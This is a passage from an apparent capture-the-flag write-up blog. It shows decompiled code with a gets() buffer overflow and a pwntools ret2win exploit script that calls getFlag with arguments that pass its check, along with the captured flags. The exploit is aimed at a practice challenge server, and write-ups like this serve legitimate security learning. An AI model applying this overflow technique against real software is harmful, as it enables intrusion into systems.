There’s a buffer overflow somewhere. Let’s check the source code.

main

undefined4 main(void)

{
char buffer [32];

buffer_init();
puts("Welcome to this simple pwn challenge...");
puts("All you have to do is make a call to the `getFlag()` function. That\'s it!");
gets(buffer);
return 0;
}

It uses the gets() function, which is causing the overflow. Then there’s the getFlag() function.

undefined4 getFlag(int param_1,int param_2)

{
undefined4 uVar1;
char local_3c [48];
FILE *local_c;

if (param_1 * param_2 == 0x23) {
local_c = fopen("flag.txt","r");
if (local_c != (FILE *)0x0) {
fgets(local_3c,0x30,local_c);
puts(local_3c);
fclose(local_c);
}
uVar1 = 0;
}
else {
puts("Nope!");
uVar1 = 0xffffffff;
}
return uVar1;
}

It has 2 parameters, the multiplication of which needs to be 0x23 or 35 in decimal. This is a Ret2Win with parameters challenge. We can take your Ret2Win script and slightly modify it. This is what I used.

from pwn import *
# p = process("./challenge.elf") # Or remote("host", port)
p = remote('challenge.ctf.games', 31753)
elf = ELF('./challenge.elf')
getflag_addr = elf.symbols['getFlag']
payload = b"A" * 40 + p32(getflag_addr) + p32(0x0) + p32(7) + p32(5)
p.sendline(payload)
print(p.recvall().decode())

It doesn’t matter what we put after p32(getflag_addr). Just put any address. Then add the parameters that will bypass the check (5x7=35).

Flag: flag{8e9e2e4ec228db4207791e0a534716c3}

Scripting

Coding Mountains

After starting the server and connecting to it using netcat, we can see this:

So, we need to answer 50 questions correctly in a row to get the flag. Hmm. How to approach this? Manually of course!

Okay, at least that’s just how I did it.

All the answers were on a Wikipedia page. So, it was mostly copy-pasting. I was too lazy to write a script for it. I’ll try to get one made later if I get time.

Flag: flag{33e043f76c3ba0fe9265749dbe650940}

Final Thoughts

I had a great time competing in Snyk Fetch the Flag. Our team, Hidden Investigations, stood 87th on the final scoreboard. After a long time, I managed to solve all RE challenges in a CTF. Looking forward to the next one.

--

--

Rusty
Rusty

Written by Rusty

Freelance Writer, Tech-Geek, interested in Cyber Security. You'll find my CTF writeups here and other ramblings.

No responses yet